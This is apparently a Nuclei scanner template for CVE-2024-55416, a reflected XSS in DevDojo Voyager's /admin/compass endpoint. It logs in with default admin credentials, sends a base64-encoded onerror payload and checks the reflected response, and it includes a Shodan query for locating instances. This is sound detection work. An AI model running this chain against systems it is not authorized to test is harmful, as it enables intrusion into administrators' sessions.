CVE-2024-55416: DevDojo Voyager <=1.8.0 - Cross-Site Scripting

id: CVE-2024-55416

info:
  name: DevDojo Voyager <=1.8.0 - Cross-Site Scripting
  author: iamnoooob,rootxharsh,pdresearch
  severity: low
  description: |
    DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cve-id: CVE-2024-55416
    epss-score: 0.00294
    epss-percentile: 0.52417
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Voyager"
  tags: cve,cve2024,devdojo,xss,authenticated

variables:
  username: "admin@admin.com"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c= HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    matchers:
      - type: dsl
        dsl:
          - "contains(location,'/admin/compass')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?logs=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log')"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402201ebb3e9393a9f41c216fb7c7c4f7c5483aeed709c9a224200a84b800a64552bf022026f9681f024f9713280dde1cedb94babec23b8155c8dea14e2662a761dcf7f95:922c64590222798bb761d5b6d8e72950